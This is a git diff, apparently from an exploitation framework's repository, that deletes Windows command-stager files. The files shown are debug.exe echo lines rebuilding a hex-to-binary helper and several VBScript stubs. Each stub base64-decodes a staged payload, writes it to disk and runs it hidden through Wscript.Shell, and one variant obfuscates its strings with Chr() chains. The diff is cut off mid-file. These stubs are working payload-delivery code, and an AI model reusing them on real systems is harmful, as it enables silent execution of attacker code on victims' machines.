-echo e 94a 53 75 62 73 74 72 69 6e 67 >>decoder_stub -echo e 954 43 6f 6e 76 65 72 74 >>decoder_stub -echo e 95c 54 6f 42 79 74 65 >>decoder_stub -echo e 963 43 6f 6e 63 61 74 >>decoder_stub -echo e 96a 46 69 6c 65 53 74 72 65 61 6d >>decoder_stub -echo e 975 43 72 65 61 74 65 >>decoder_stub -echo e 97c 53 74 72 65 61 6d >>decoder_stub -echo e 983 57 72 69 74 65 >>decoder_stub -echo e 989 43 6c 6f 73 65 >>decoder_stub -echo e 991 49 55 >>decoder_stub -echo e 994 73 >>decoder_stub -echo e 996 61 >>decoder_stub -echo e 998 67 >>decoder_stub -echo e 99a 65 >>decoder_stub -echo e 99c 3a >>decoder_stub -echo e 99e 20 >>decoder_stub -echo e 9a0 20 >>decoder_stub -echo e 9a2 20 >>decoder_stub -echo e 9a4 68 >>decoder_stub -echo e 9a6 65 >>decoder_stub -echo e 9a8 78 >>decoder_stub -echo e 9aa 32 >>decoder_stub -echo e 9ac 62 >>decoder_stub -echo e 9ae 69 >>decoder_stub -echo e 9b0 6e >>decoder_stub -echo e 9b2 2e >>decoder_stub -echo e 9b4 65 >>decoder_stub -echo e 9b6 78 >>decoder_stub -echo e 9b8 65 >>decoder_stub -echo e 9ba 20 >>decoder_stub -echo e 9bc 3c >>decoder_stub -echo e 9be 68 >>decoder_stub -echo e 9c0 65 >>decoder_stub -echo e 9c2 78 >>decoder_stub -echo e 9c4 69 >>decoder_stub -echo e 9c6 6e >>decoder_stub -echo e 9c8 70 >>decoder_stub -echo e 9ca 75 >>decoder_stub -echo e 9cc 74 >>decoder_stub -echo e 9ce 66 >>decoder_stub -echo e 9d0 69 >>decoder_stub -echo e 9d2 6c >>decoder_stub -echo e 9d4 65 >>decoder_stub -echo e 9d6 3e >>decoder_stub -echo e 9d8 08 >>decoder_stub -echo e 9da 01 03 0d >>decoder_stub -echo e 9df 01 >>decoder_stub -echo e 9e1 03 0a >>decoder_stub -echo e 9e5 09 2e >>decoder_stub -echo e 9e8 65 >>decoder_stub -echo e 9ea 78 >>decoder_stub -echo e 9ec 65 >>decoder_stub -echo e 9f0 06 24 bb c2 bc b7 11 40 bf c4 9c a7 d7 ed 8c f2 >>decoder_stub -echo e a01 08 b7 7a 5c 56 19 34 e0 89 05 >>decoder_stub -echo e a0c 01 01 1d 0e 03 20 >>decoder_stub -echo e a13 01 04 20 01 01 0e 04 20 01 01 02 05 20 01 01 11 3d 04 20 01 >>decoder_stub -echo e a27 01 08 04 >>decoder_stub -echo e a2b 01 01 0e 04 >>decoder_stub -echo e a30 01 0e 0e 05 20 02 0e 0e 0e 03 20 >>decoder_stub -echo e a3c 08 05 20 02 0e 08 08 05 >>decoder_stub -echo e a45 02 05 0e 08 05 >>decoder_stub -echo e a4b 02 0e 0e 0e 05 >>decoder_stub -echo e a51 01 12 5d 0e 07 20 03 01 1d 05 08 08 0b 07 07 0e 1d 05 08 0e >>decoder_stub -echo e a65 08 12 5d 02 0c 01 >>decoder_stub -echo e a6c 07 68 65 78 32 62 69 6e >>decoder_stub -echo e a76 05 01 >>decoder_stub -echo e a7c 17 01 >>decoder_stub -echo e a7f 12 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 20 32 30 30 38 >>decoder_stub -echo e a94 29 01 >>decoder_stub -echo e a97 24 66 39 39 39 62 62 62 31 2d 66 31 30 61 2d 34 39 65 38 2d >>decoder_stub -echo e aab 38 33 35 37 2d 30 35 39 61 30 63 65 37 37 31 36 38 >>decoder_stub -echo e abe 0c 01 >>decoder_stub -echo e ac1 07 31 2e 30 2e 30 2e 30 >>decoder_stub -echo e acb 08 01 >>decoder_stub -echo e ace 07 01 >>decoder_stub -echo e ad4 08 01 >>decoder_stub -echo e ad7 08 >>decoder_stub -echo e add 1e 01 >>decoder_stub -echo e ae0 01 >>decoder_stub -echo e ae2 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 >>decoder_stub -echo e af6 68 72 6f 77 73 01 >>decoder_stub -echo e b00 85 18 7c 48 >>decoder_stub -echo e b08 02 >>decoder_stub -echo e b0c 53 >>decoder_stub -echo e b10 18 28 >>decoder_stub -echo e b14 18 0a >>decoder_stub -echo e b18 52 53 44 53 e8 fc 2e 9d aa 52 59 42 a5 63 1e b1 c8 f6 59 23 >>decoder_stub -echo e b2c 03 >>decoder_stub -echo e b30 53 3a 5c 73 74 75 66 66 5c 70 72 6f 67 72 61 6d 6d 69 6e 67 >>decoder_stub -echo e b44 5c 68 65 78 32 62 69 6e 5c 68 65 78 32 62 69 6e 5c 6f 62 6a >>decoder_stub -echo e b58 5c 44 65 62 75 67 5c 68 65 78 32 62 69 6e 2e 70 64 62 >>decoder_stub -echo e b6c 94 28 >>decoder_stub -echo e b78 ae 28 >>decoder_stub -echo e b7d 20 >>decoder_stub -echo e b94 a0 28 >>decoder_stub -echo e ba2 5f 43 6f 72 45 78 65 4d 61 69 6e >>decoder_stub -echo e bae 6d 73 63 6f 72 65 65 2e 64 6c 6c >>decoder_stub -echo e bbe ff 25 >>decoder_stub -echo e bc1 20 40 >>decoder_stub -echo e d0e 02 >>decoder_stub -echo e d10 10 >>decoder_stub -echo e d14 20 >>decoder_stub -echo e d17 80 18 >>decoder_stub -echo e d1c 38 >>decoder_stub -echo e d1f 80 >>decoder_stub -echo e d2e 01 >>decoder_stub -echo e d30 01 >>decoder_stub -echo e d34 50 >>decoder_stub -echo e d37 80 >>decoder_stub -echo e d46 01 >>decoder_stub -echo e d48 01 >>decoder_stub -echo e d4c 68 >>decoder_stub -echo e d4f 80 >>decoder_stub -echo e d5e 01 >>decoder_stub -echo e d64 80 >>decoder_stub -echo e d76 01 >>decoder_stub -echo e d7c 90 >>decoder_stub -echo e d80 a0 40 >>decoder_stub -echo e d84 a0 02 >>decoder_stub -echo e d90 40 43 >>decoder_stub -echo e d94 ea 01 >>decoder_stub -echo e da0 a0 02 34 >>decoder_stub -echo e da6 56 >>decoder_stub -echo e da8 53 >>decoder_stub -echo e daa 5f >>decoder_stub -echo e dac 56 >>decoder_stub -echo e dae 45 >>decoder_stub -echo e db0 52 >>decoder_stub -echo e db2 53 >>decoder_stub -echo e db4 49 >>decoder_stub -echo e db6 4f >>decoder_stub -echo e db8 4e >>decoder_stub -echo e dba 5f >>decoder_stub -echo e dbc 49 >>decoder_stub -echo e dbe 4e >>decoder_stub -echo e dc0 46 >>decoder_stub -echo e dc2 4f >>decoder_stub -echo e dc8 bd 04 ef fe >>decoder_stub -echo e dce 01 >>decoder_stub -echo e dd2 01 >>decoder_stub -echo e dda 01 >>decoder_stub -echo e de0 3f >>decoder_stub -echo e de8 04 >>decoder_stub -echo e dec 01 >>decoder_stub -echo e dfc 44 >>decoder_stub -echo e e00 01 >>decoder_stub -echo e e02 56 >>decoder_stub -echo e e04 61 >>decoder_stub -echo e e06 72 >>decoder_stub -echo e e08 46 >>decoder_stub -echo e e0a 69 >>decoder_stub -echo e e0c 6c >>decoder_stub -echo e e0e 65 >>decoder_stub -echo e e10 49 >>decoder_stub -echo e e12 6e >>decoder_stub -echo e e14 66 >>decoder_stub -echo e e16 6f >>decoder_stub -echo e e1c 24 >>decoder_stub -echo e e1e 04 >>decoder_stub -echo e e22 54 >>decoder_stub -echo e e24 72 >>decoder_stub -echo e e26 61 >>decoder_stub -echo e e28 6e >>decoder_stub -echo e e2a 73 >>decoder_stub -echo e e2c 6c >>decoder_stub -echo e e2e 61 >>decoder_stub -echo e e30 74 >>decoder_stub -echo e e32 69 >>decoder_stub -echo e e34 6f >>decoder_stub -echo e e36 6e >>decoder_stub -echo e e3e b0 04 >>decoder_stub -echo e e41 02 >>decoder_stub -echo e e44 01 >>decoder_stub -echo e e46 53 >>decoder_stub -echo e e48 74 >>decoder_stub -echo e e4a 72 >>decoder_stub -echo e e4c 69 >>decoder_stub -echo e e4e 6e >>decoder_stub -echo e e50 67 >>decoder_stub -echo e e52 46 >>decoder_stub -echo e e54 69 >>decoder_stub -echo e e56 6c >>decoder_stub -echo e e58 65 >>decoder_stub -echo e e5a 49 >>decoder_stub -echo e e5c 6e >>decoder_stub -echo e e5e 66 >>decoder_stub -echo e e60 6f >>decoder_stub -echo e e64 dc 01 >>decoder_stub -echo e e68 01 >>decoder_stub -echo e e6a 30 >>decoder_stub -echo e e6c 30 >>decoder_stub -echo e e6e 30 >>decoder_stub -echo e e70 30 >>decoder_stub -echo e e72 30 >>decoder_stub -echo e e74 34 >>decoder_stub -echo e e76 62 >>decoder_stub -echo e e78 30 >>decoder_stub -echo e e7c 38 >>decoder_stub -echo e e7e 08 >>decoder_stub -echo e e80 01 >>decoder_stub -echo e e82 46 >>decoder_stub -echo e e84 69 >>decoder_stub -echo e e86 6c >>decoder_stub -echo e e88 65 >>decoder_stub -echo e e8a 44 >>decoder_stub -echo e e8c 65 >>decoder_stub -echo e e8e 73 >>decoder_stub -echo e e90 63 >>decoder_stub -echo e e92 72 >>decoder_stub -echo e e94 69 >>decoder_stub -echo e e96 70 >>decoder_stub -echo e e98 74 >>decoder_stub -echo e e9a 69 >>decoder_stub -echo e e9c 6f >>decoder_stub -echo e e9e 6e >>decoder_stub -echo e ea4 68 >>decoder_stub -echo e ea6 65 >>decoder_stub -echo e ea8 78 >>decoder_stub -echo e eaa 32 >>decoder_stub -echo e eac 62 >>decoder_stub -echo e eae 69 >>decoder_stub -echo e eb0 6e >>decoder_stub -echo e eb4 30 >>decoder_stub -echo e eb6 08 >>decoder_stub -echo e eb8 01 >>decoder_stub -echo e eba 46 >>decoder_stub -echo e ebc 69 >>decoder_stub -echo e ebe 6c >>decoder_stub -echo e ec0 65 >>decoder_stub -echo e ec2 56 >>decoder_stub -echo e ec4 65 >>decoder_stub -echo e ec6 72 >>decoder_stub -echo e ec8 73 >>decoder_stub -echo e eca 69 >>decoder_stub -echo e ecc 6f >>decoder_stub -echo e ece 6e >>decoder_stub -echo e ed4 31 >>decoder_stub -echo e ed6 2e >>decoder_stub -echo e ed8 30 >>decoder_stub -echo e eda 2e >>decoder_stub -echo e edc 30 >>decoder_stub -echo e ede 2e >>decoder_stub -echo e ee0 30 >>decoder_stub -echo e ee4 38 >>decoder_stub -echo e ee6 0c >>decoder_stub -echo e ee8 01 >>decoder_stub -echo e eea 49 >>decoder_stub -echo e eec 6e >>decoder_stub -echo e eee 74 >>decoder_stub -echo e ef0 65 >>decoder_stub -echo e ef2 72 >>decoder_stub -echo e ef4 6e >>decoder_stub -echo e ef6 61 >>decoder_stub -echo e ef8 6c >>decoder_stub -echo e efa 4e >>decoder_stub -echo e efc 61 >>decoder_stub -echo e efe 6d >>decoder_stub -echo e f00 65 >>decoder_stub -echo e f04 68 >>decoder_stub -echo e f06 65 >>decoder_stub -echo e f08 78 >>decoder_stub -echo e f0a 32 >>decoder_stub -echo e f0c 62 >>decoder_stub -echo e f0e 69 >>decoder_stub -echo e f10 6e >>decoder_stub -echo e f12 2e >>decoder_stub -echo e f14 65 >>decoder_stub -echo e f16 78 >>decoder_stub -echo e f18 65 >>decoder_stub -echo e f1c 48 >>decoder_stub -echo e f1e 12 >>decoder_stub -echo e f20 01 >>decoder_stub -echo e f22 4c >>decoder_stub -echo e f24 65 >>decoder_stub -echo e f26 67 >>decoder_stub -echo e f28 61 >>decoder_stub -echo e f2a 6c >>decoder_stub -echo e f2c 43 >>decoder_stub -echo e f2e 6f >>decoder_stub -echo e f30 70 >>decoder_stub -echo e f32 79 >>decoder_stub -echo e f34 72 >>decoder_stub -echo e f36 69 >>decoder_stub -echo e f38 67 >>decoder_stub -echo e f3a 68 >>decoder_stub -echo e f3c 74 >>decoder_stub -echo e f40 43 >>decoder_stub -echo e f42 6f >>decoder_stub -echo e f44 70 >>decoder_stub -echo e f46 79 >>decoder_stub -echo e f48 72 >>decoder_stub -echo e f4a 69 >>decoder_stub -echo e f4c 67 >>decoder_stub -echo e f4e 68 >>decoder_stub -echo e f50 74 >>decoder_stub -echo e f52 20 >>decoder_stub -echo e f54 a9 >>decoder_stub -echo e f56 20 >>decoder_stub -echo e f58 20 >>decoder_stub -echo e f5a 32 >>decoder_stub -echo e f5c 30 >>decoder_stub -echo e f5e 30 >>decoder_stub -echo e f60 38 >>decoder_stub -echo e f64 40 >>decoder_stub -echo e f66 0c >>decoder_stub -echo e f68 01 >>decoder_stub -echo e f6a 4f >>decoder_stub -echo e f6c 72 >>decoder_stub -echo e f6e 69 >>decoder_stub -echo e f70 67 >>decoder_stub -echo e f72 69 >>decoder_stub -echo e f74 6e >>decoder_stub -echo e f76 61 >>decoder_stub -echo e f78 6c >>decoder_stub -echo e f7a 46 >>decoder_stub -echo e f7c 69 >>decoder_stub -echo e f7e 6c >>decoder_stub -echo e f80 65 >>decoder_stub -echo e f82 6e >>decoder_stub -echo e f84 61 >>decoder_stub -echo e f86 6d >>decoder_stub -echo e f88 65 >>decoder_stub -echo e f8c 68 >>decoder_stub -echo e f8e 65 >>decoder_stub -echo e f90 78 >>decoder_stub -echo e f92 32 >>decoder_stub -echo e f94 62 >>decoder_stub -echo e f96 69 >>decoder_stub -echo e f98 6e >>decoder_stub -echo e f9a 2e >>decoder_stub -echo e f9c 65 >>decoder_stub -echo e f9e 78 >>decoder_stub -echo e fa0 65 >>decoder_stub -echo e fa4 30 >>decoder_stub -echo e fa6 08 >>decoder_stub -echo e fa8 01 >>decoder_stub -echo e faa 50 >>decoder_stub -echo e fac 72 >>decoder_stub -echo e fae 6f >>decoder_stub -echo e fb0 64 >>decoder_stub -echo e fb2 75 >>decoder_stub -echo e fb4 63 >>decoder_stub -echo e fb6 74 >>decoder_stub -echo e fb8 4e >>decoder_stub -echo e fba 61 >>decoder_stub -echo e fbc 6d >>decoder_stub -echo e fbe 65 >>decoder_stub -echo e fc4 68 >>decoder_stub -echo e fc6 65 >>decoder_stub -echo e fc8 78 >>decoder_stub -echo e fca 32 >>decoder_stub -echo e fcc 62 >>decoder_stub -echo e fce 69 >>decoder_stub -echo e fd0 6e >>decoder_stub -echo e fd4 34 >>decoder_stub -echo e fd6 08 >>decoder_stub -echo e fd8 01 >>decoder_stub -echo e fda 50 >>decoder_stub -echo e fdc 72 >>decoder_stub -echo e fde 6f >>decoder_stub -echo e fe0 64 >>decoder_stub -echo e fe2 75 >>decoder_stub -echo e fe4 63 >>decoder_stub -echo e fe6 74 >>decoder_stub -echo e fe8 56 >>decoder_stub -echo e fea 65 >>decoder_stub -echo e fec 72 >>decoder_stub -echo e fee 73 >>decoder_stub -echo e ff0 69 >>decoder_stub -echo e ff2 6f >>decoder_stub -echo e ff4 6e >>decoder_stub -echo e ff8 31 >>decoder_stub -echo e ffa 2e >>decoder_stub -echo e ffc 30 >>decoder_stub -echo e ffe 2e >>decoder_stub -echo e 1000 30 >>decoder_stub -echo e 1002 2e >>decoder_stub -echo e 1004 30 >>decoder_stub -echo e 1008 38 >>decoder_stub -echo e 100a 08 >>decoder_stub -echo e 100c 01 >>decoder_stub -echo e 100e 41 >>decoder_stub -echo e 1010 73 >>decoder_stub -echo e 1012 73 >>decoder_stub -echo e 1014 65 >>decoder_stub -echo e 1016 6d >>decoder_stub -echo e 1018 62 >>decoder_stub -echo e 101a 6c >>decoder_stub -echo e 101c 79 >>decoder_stub -echo e 101e 20 >>decoder_stub -echo e 1020 56 >>decoder_stub -echo e 1022 65 >>decoder_stub -echo e 1024 72 >>decoder_stub -echo e 1026 73 >>decoder_stub -echo e 1028 69 >>decoder_stub -echo e 102a 6f >>decoder_stub -echo e 102c 6e >>decoder_stub -echo e 1030 31 >>decoder_stub -echo e 1032 2e >>decoder_stub -echo e 1034 30 >>decoder_stub -echo e 1036 2e >>decoder_stub -echo e 1038 30 >>decoder_stub -echo e 103a 2e >>decoder_stub -echo e 103c 30 >>decoder_stub -echo e 1040 ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e >>decoder_stub -echo e 1054 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 >>decoder_stub -echo e 1068 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 79 65 73 22 3f 3e 0d 0a >>decoder_stub -echo e 107c 3c 61 73 73 65 6d 62 6c 79 20 78 6d 6c 6e 73 3d 22 75 72 6e >>decoder_stub -echo e 1090 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 >>decoder_stub -echo e 10a4 6f 6d 3a 61 73 6d 2e 76 31 22 20 6d 61 6e 69 66 65 73 74 56 >>decoder_stub -echo e 10b8 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0d 0a 20 20 3c 61 73 >>decoder_stub -echo e 10cc 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 >>decoder_stub -echo e 10e0 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 6e 61 6d 65 3d 22 4d >>decoder_stub -echo e 10f4 79 41 70 70 6c 69 63 61 74 69 6f 6e 2e 61 70 70 22 2f 3e 0d >>decoder_stub -echo e 1108 0a 20 20 3c 74 72 75 73 74 49 6e 66 6f 20 78 6d 6c 6e 73 3d >>decoder_stub -echo e 111c 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f >>decoder_stub -echo e 1130 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 3e 0d 0a 20 20 20 >>decoder_stub -echo e 1144 20 3c 73 65 63 75 72 69 74 79 3e 0d 0a 20 20 20 20 20 20 3c >>decoder_stub -echo e 1158 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 73 20 >>decoder_stub -echo e 116c 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d >>decoder_stub -echo e 1180 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 33 22 >>decoder_stub -echo e 1194 3e 0d 0a 20 20 20 20 20 20 20 20 3c 72 65 71 75 65 73 74 65 >>decoder_stub -echo e 11a8 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 20 6c 65 76 65 >>decoder_stub -echo e 11bc 6c 3d 22 61 73 49 6e 76 6f 6b 65 72 22 20 75 69 41 63 63 65 >>decoder_stub -echo e 11d0 73 73 3d 22 66 61 6c 73 65 22 2f 3e 0d 0a 20 20 20 20 20 20 >>decoder_stub -echo e 11e4 3c 2f 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 >>decoder_stub -echo e 11f8 73 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 75 72 69 74 79 3e 0d >>decoder_stub -echo e 120c 0a 20 20 3c 2f 74 72 75 73 74 49 6e 66 6f 3e 0d 0a 3c 2f 61 >>decoder_stub -echo e 1220 73 73 65 6d 62 6c 79 3e 0d 0a >>decoder_stub -echo e 1301 20 >>decoder_stub -echo e 1304 0c >>decoder_stub -echo e 1308 c0 38 >>decoder_stub -echo w >>decoder_stub -echo q >>decoder_stub diff --git a/data/exploits/cmdstager/vbs_b64 b/data/exploits/cmdstager/vbs_b64 deleted file mode 100755 index a6fbb35176..0000000000 --- a/data/exploits/cmdstager/vbs_b64 +++ /dev/null @@ -1,40 +0,0 @@ -echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub -echo Set file = fs.GetFile("ENCODED") >>decode_stub -echo If file.Size Then >>decode_stub -echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub -echo data = fd.ReadAll >>decode_stub -echo data = Replace(data, vbCrLf, "") >>decode_stub -echo data = base64_decode(data) >>decode_stub -echo fd.Close >>decode_stub -echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub -echo ofs.Write data >>decode_stub -echo ofs.close >>decode_stub -echo Set shell = CreateObject("Wscript.Shell") >>decode_stub -echo shell.run "DECODED", 0, false >>decode_stub -echo Else >>decode_stub -echo Wscript.Echo "The file is empty." >>decode_stub -echo End If >>decode_stub -echo Function base64_decode(byVal strIn) >>decode_stub -echo Dim w1, w2, w3, w4, n, strOut >>decode_stub -echo For n = 1 To Len(strIn) Step 4 >>decode_stub -echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub -echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub -echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub -echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub -echo If Not w2 Then _ >>decode_stub -echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub -echo If Not w3 Then _ >>decode_stub -echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub -echo If Not w4 Then _ >>decode_stub -echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub -echo Next >>decode_stub -echo base64_decode = strOut >>decode_stub -echo End Function >>decode_stub -echo Function mimedecode(byVal strIn) >>decode_stub -echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub -echo If Len(strIn) = 0 Then >>decode_stub -echo mimedecode = -1 : Exit Function >>decode_stub -echo Else >>decode_stub -echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub -echo End If >>decode_stub -echo End Function >>decode_stub diff --git a/data/exploits/cmdstager/vbs_b64_adodb b/data/exploits/cmdstager/vbs_b64_adodb deleted file mode 100755 index 41299782f4..0000000000 --- a/data/exploits/cmdstager/vbs_b64_adodb +++ /dev/null @@ -1,50 +0,0 @@ -echo Dim var_origLoc >>decode_stub -echo var_origLoc = SetLocale(1033) >>decode_stub -echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub -echo Set file = fs.GetFile("ENCODED") >>decode_stub -echo If file.Size Then >>decode_stub -echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub -echo data = fd.ReadAll >>decode_stub -echo data = Replace(data, vbCrLf, "") >>decode_stub -echo data = base64_decode(data) >>decode_stub -echo fd.Close >>decode_stub -echo Dim var_strmConv, var_writedir, var_writestream >>decode_stub -echo var_writedir = "DECODED" >>decode_stub -echo Set var_strmConv = CreateObject("ADODB.Stream") >>decode_stub -echo var_strmConv.Type = 2 >>decode_stub -echo var_strmConv.Charset = "x-ansi" >>decode_stub -echo var_strmConv.Open >>decode_stub -echo var_strmConv.WriteText data, 0 >>decode_stub -echo var_strmConv.Position = 0 >>decode_stub -echo var_strmConv.Type = 1 >>decode_stub -echo var_strmConv.SaveToFile var_writedir, 2 >>decode_stub -echo SetLocale(var_origLoc) >>decode_stub -echo Set shell = CreateObject("Wscript.Shell") >>decode_stub -echo shell.run "DECODED", 0, false >>decode_stub -echo Else >>decode_stub -echo Wscript.Echo "The file is empty." >>decode_stub -echo End If >>decode_stub -echo Function base64_decode(byVal strIn) >>decode_stub -echo Dim w1, w2, w3, w4, n, strOut >>decode_stub -echo For n = 1 To Len(strIn) Step 4 >>decode_stub -echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub -echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub -echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub -echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub -echo If Not w2 Then _ >>decode_stub -echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub -echo If Not w3 Then _ >>decode_stub -echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub -echo If Not w4 Then _ >>decode_stub -echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub -echo Next >>decode_stub -echo base64_decode = strOut >>decode_stub -echo End Function >>decode_stub -echo Function mimedecode(byVal strIn) >>decode_stub -echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub -echo If Len(strIn) = 0 Then >>decode_stub -echo mimedecode = -1 : Exit Function >>decode_stub -echo Else >>decode_stub -echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub -echo End If >>decode_stub -echo End Function >>decode_stub diff --git a/data/exploits/cmdstager/vbs_b64_noquot b/data/exploits/cmdstager/vbs_b64_noquot deleted file mode 100755 index 738a7b6c1d..0000000000 --- a/data/exploits/cmdstager/vbs_b64_noquot +++ /dev/null @@ -1,49 +0,0 @@ -echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub -echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub -echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub -echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub -echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub -echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub -echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub -echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub -echo Set wshShell = CreateObject(scriptShell) >>decode_stub -echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub -echo Set fs = CreateObject(scriptingFS) >>decode_stub -echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub -echo If file.Size Then >>decode_stub -echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub -echo data = fd.ReadAll >>decode_stub -echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub -echo data = Replace(data, vbCrLf, nil) >>decode_stub -echo data = base64_decode(data) >>decode_stub -echo fd.Close >>decode_stub -echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub -echo ofs.Write data >>decode_stub -echo ofs.close >>decode_stub -echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub -echo Else >>decode_stub -echo Wscript.Echo emptyString >>decode_stub -echo End If >>decode_stub -echo Function base64_decode(byVal strIn) >>decode_stub -echo Dim w1, w2, w3, w4, n, strOut >>decode_stub -echo For n = 1 To Len(strIn) Step 4 >>decode_stub -echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub -echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub -echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub -echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub -echo If Not w2 Then _ >>decode_stub -echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub -echo If Not w3 Then _ >>decode_stub -echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub -echo If Not w4 Then _ >>decode_stub -echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub -echo Next >>decode_stub -echo base64_decode = strOut >>decode_stub -echo End Function >>decode_stub -echo Function mimedecode(byVal strIn) >>decode_stub -echo If Len(strIn) = 0 Then >>decode_stub -echo mimedecode = -1 : Exit Function >>decode_stub -echo Else >>decode_stub -echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub -echo End If >>decode_stub -echo End Function >>decode_stub diff --git a/data/exploits/cmdstager/vbs_b64_sleep b/data/exploits/cmdstager/vbs_b64_sleep deleted file mode 100644 index 943ca29f35..0000000000 --- a/data/exploits/cmdstager/vbs_b64_sleep +++ /dev/null @@ -1,41 +0,0 @@ -echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub -echo Set file = fs.GetFile("ENCODED") >>decode_stub -echo If file.Size Then >>decode_stub -echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub -echo data = fd.ReadAll >>decode_stub -echo data = Replace(data, vbCrLf, "") >>decode_stub -echo data = base64_decode(data) >>decode_stub -echo fd.Close >>decode_stub -echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub -echo ofs.Write data >>decode_stub -echo ofs.close >>decode_stub -echo Set shell = CreateObject("Wscript.Shell") >>decode_stub -echo shell.run "DECODED", 0, false >>decode_stub -echo Wscript.sleep(1000 * 60 * 5) >>decode_stub -echo Else 